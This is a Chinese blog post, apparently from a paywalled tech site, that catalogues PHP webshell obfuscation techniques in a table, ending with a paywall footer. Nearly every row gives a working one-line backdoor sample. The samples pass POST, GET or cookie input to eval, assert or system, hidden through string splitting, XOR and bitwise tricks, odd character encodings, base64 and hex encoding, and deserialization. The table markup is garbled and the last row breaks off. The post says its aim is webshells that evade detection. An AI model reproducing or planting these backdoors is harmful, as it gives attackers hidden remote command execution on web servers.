| 技术点 | 具体手法 | 样本 |
|---|---|---|
| 巧用$GPC |
利用$GLOBALS | @eval($GLOBALS['_POST']['cmd']); |
| 利用$_FILE | @eval($_FILE['name']); | |
| 关键字替换 |
敏感函数拆分 | $k="ass"."ert"; $k(${"_PO"."ST"} ['cmd']); |
| function func() {
return "ass"."ert"; } $a = func(); $a(${"_PO"."ST"}['cmd']); |
||
| /** * eva * l($_GE * T["c"]); * asse * rt */ class TestClass { } $rc = new ReflectionClass('TestClass'); $str = $rc->getDocComment(); $evf=substr($str,strpos($str,'e'),3); $evf=$evf.substr($str,strpos($str,'l'),6); $evf=$evf.substr($str,strpos($str,'T'),8); $fu=substr($str,strpos($str,'as'),4); $fu=$fu.substr($str,strpos($str,'r'),2); $fu($evf); |
||
| 空格替换&字符串替换 |
<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = ")));?> | |
| function func() { return "ass"."ert";} $a = func(); $b=strrev("edoced_4"."6esab"); $a($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); |
||
| 字符串&数组的方式 | $sF = "PCT4BA6ODSE_"; $s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]); $s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['n985de9']; if (isset($s22)) { eval($s21($s22)); } |
|
| 特殊字符 | 进制运算 | @$_++; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST @${$__}[!$_](${$__}[$_]); //0=assert&1=phpinfo(); |
| $__=('>'>'<')+('>'>'<'); $____=''; $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; |
||
| 自增运算 | $_=[]; $____='_'; $_=$$____; |
|
| 利用注释 | @$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; @$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t"; @$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"} [/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7 |
|
| 异或运算&字符编码 | 以GBK的方式保存 | $y=~督耽孩^'(1987)'; $y($_POST[1987]); |
| 以ISO-8859-15保存 | $x=~Ÿ¬¬º«; $x($_POST[~¹¹ÏÏÏÏ]); |
|
| 位运算符 | <?php ${(chr(63)^chr(96)).(chr(60)^chr(123)).(chr(62)^chr(123)).(chr(47)^chr(123))}[(chr(43)^chr(64))](${(chr(36)^chr(123)).(chr(46)^chr(126)).(chr(47)^chr(96)).(chr(46)^chr(125)).(chr(47)^chr(123))}[(chr(43)^chr(64))]); ?> // shell.php?k=assert POST k=phpinfo(); |
|
| 编码 | gzinflate+base64 | <?php eval(gzinflate(base64_decode('........')?> |
| 进制转换 | $v230c590="\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"; @eval($v230c590(..... |
|
| $liner = "pr"."e"."g_"."re"."p"."l"."ace"; $liner("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28",php_code); |
||
| 反序列化执行 | class foo{
public $data="text"; function __destruct() { eval($this->data); } } $file_name=$_GET['id']; unserialize($ |
php——webshell变形总结
最新推荐文章于 2024-02-06 00:09:01 发布
本文总结了PHP webshell的各种变形方式,包括动态函数、$GPC利用、空格和特殊字符替换、进制运算、自增运算、异或运算、编码隐藏、eval与base64_decode的变形、反序列化执行、回调函数、自定义函数以及加密混淆技术。通过这些方法,可以构造难以检测的webshell。

最低0.47元/天 解锁文章
883

被折叠的 条评论
为什么被折叠?



